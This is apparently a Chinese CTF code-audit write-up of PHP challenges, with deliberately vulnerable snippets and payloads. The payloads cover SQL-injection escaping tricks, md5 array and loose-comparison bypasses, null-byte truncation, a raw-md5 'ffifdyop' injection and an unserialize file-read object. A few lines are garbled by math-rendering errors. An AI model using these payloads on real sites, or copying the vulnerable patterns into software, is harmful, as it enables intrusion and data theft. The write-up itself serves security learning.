php_bugs代码审计(二)

16、SQL注入注释外包’及or绕过


#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
 
function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}
 
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
 
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}
 
echo $flag;
?>

目标! r e s u l t ∣ ∣ m y s q l _ n u m _ r o w s ( result || mysql\_num\_rows( resultmysql_num_rows(result) < 1为真,并没有对内容进行检测,不需要是admin也行
几个函数提一下:

  • get_magic_quotes_gpc,获取当前php.ini中的magic_quotes_gpc 的配置(on/off)。如果 magic_quotes_gpc 为off时返回 0,否则返回 1。在 PHP 5.4.0 起将始终返回 FALSE。 magic_quotes_gpc是一种转义配置,所有的 ’ (单引号)、" (双引号)、\(反斜杠)和 NUL’s 被一个反斜杠自动转义。
  • stripslashes,去掉反斜杠
语法
stripslashes(string)

例:echo stripslashes("Who\'s Bill Gates?");
运行结果:Who's Bill Gates?

echo stripslashes("Who\\'s Bill Gates?");
运行结果:Who's Bill Gates?

echo stripslashes("Who\\\'s Bill Gates?");
运行结果:Who\'s Bill Gates?
  • htmlentities,把字符转换为 HTML 实体。ENT_QUOTES是转换双引号和单引号,单引号被转换为'

也就是说,参数可能被去掉\,但是单引号和双引号一定会被html实体化,所以参数不能有单引号和双引号,而现今版本的php,get_magic_quotes_gpc是被废掉的

php中查询语句:
SELECT * FROM users WHERE name=’’.KaTeX parse error: Can't use function '\'' in math mode at position 11: username.'\̲'̲ AND pass=\''.password.’’;
sql中也就是
SELECT * FROM users WHERE name=‘username’ AND pass=‘password’;
参数的单引号是拼接上去的,而我们输入单引号就会被html实体化(虽然在页面上显示的仍然是单引号)

payload:
?username=\&password= or 1%23

形成查询语句:SELECT * FROM users WHERE name=’\’ AND pass=’ or 1%23’
也就是PHP语句的name后面的单引号被转义
这样最后的单引号被注释了,因为有个单引号被转义,所以name就是’AND pass =,or 1之后就为true。

17

这个跟9重复了

18、md5()函数===使用数组绕过


error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
    if ($_GET['username'] == $_GET['password'])
        print 'Your password can not be your username.';
    else if (md5($_GET['username']) === md5($_GET['password']))
        die('Flag: '.$flag);
    else
        print 'Invalid password';
}
?>

弱类型的话可以碰撞解决,因为md5处理数组返回Null,所以=使用数组绕过

payload:?username[]=1&password[]=2

19、ereg()函数strpos() 函数用数组返回NULL绕过.php

  
$flag = "flag";  
   
if (isset ($_GET['password'])) {  
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)  
        echo 'You password must be alphanumeric';  
    else if (strpos ($_GET['password'], '--') !== FALSE)  
        die('Flag: ' . $flag);  
    else  
        echo 'Invalid password';  
}  
?>

方法一:ereg和strops处理数组返回NULL绕过
payload:?password[]=

方法二:ereg的%00截断绕过
payload:?password=1%00–

20、十六进制与数字比较



error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    { 
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) )
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

16进制代替10进制
payload:?password=0xdeadc0de

21、数字验证正则绕过



error_reporting(0);
$flag = 'flag{test}';
if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
    $password = $_POST['password']; 
    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    { 
        echo 'Wrong Format'; 
        exit; 
    } 
    while (TRUE) 
    { 
        $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
        if (6 > preg_match_all($reg, $password, $arr)) 
            break; 
        $c = 0; 
        $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
        foreach ($ps as $pt) 
        { 
            if (preg_match("/[[:$pt:]]+/", $password)) 
                $c += 1; 
        } 
        if ($c < 3) break; 
        //>=3,必须包含四种类型三种与三种以上
        if ("42" == $password) echo $flag; 
        else echo 'Wrong password'; 
        exit; 
    } 
}

?>

[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)
//意为必须是12个字符以上(非空格非TAB之外的内容)
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 
//意为匹配到的次数要大于6次
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break; 

//意为必须要有大小写字母,数字,字符内容三种与三种以上

而且还要值为"42"

payload:
42.00e+00000000000

420.000000000e-1

22、弱类型整数大小比较绕过


error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;    
if($temp>1336){
    echo $flag;
} 
?>

方法一:%00绕过,如果password结尾或开头是%00,那么就不会被is_numeric检测为数字
payload:1337%00
(%001337不行。。。说好的前面或后面都行)

方法二:弱类型,payload:1337a

23、md5函数验证绕过



error_reporting(0);
$flag = 'flag{test}';
$temp = $_GET['password'];
if(md5($temp)==0){
    echo $flag;
}
?>

方法一:md5处理数组返回null,弱类型的时候null==0
方法二:md5碰撞,开头为0的md5值进行碰撞

24、md5函数true绕过注入

$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('
' . mysql_error() . '
'
); $row1 = mysql_fetch_row($result); var_dump($row1);

$sql = “SELECT * FROM users WHERE password = '”.md5( p a s s w o r d , t r u e ) . " ′ " ; m d 5 ( password,true)."'"; md5( password,true)."";md5(password,true)是得到16位原始二进制格式的字符串。
这样怎么构造绕过呢?
神奇方法来了
ffifdyop经过md5的true转化后是276f722736c95d99e921722cf9ed621c,再转换成字符串正好是’or’xxx(xxx是乱码),正好构造出语句SELECT * FROM admin WHERE pass = '‘or’xxx’,成功绕过

25、switch


error_reporting(0);

if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}
?>

字符串如果前面不含数字,会被转换为0,所以case 0被执行,因为case 0没有break,所以一直会交到有break的地方才会终止,这个直接包含进来flag.php即可。

payload:?which=flag

26、unserialize()序列化

<!-- 题目:http://web.jarvisoj.com:32768 -->

<!-- index.php -->
 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

<!-- shield.php -->


	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

<!-- showimg.php -->

	$f = $_GET['img'];
	if (!empty($f)) {
		$f = base64_decode($f);
		if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
		//stripos — 查找字符串首次出现的位置(不区分大小写)
		&& stripos($f,'pctf')===FALSE) {
			readfile($f);
		} else {
			echo "File not found!";
		}
	}
?>

一个反序列化漏洞的简单模板吧,showimg.php没啥用。
反序列化之后filename是pctf.php即可

payload:?class=O:6:“Shield”:1:{s:4:“file”;s:8:“pctf.php”;}

你可能感兴趣的:(php代码审计)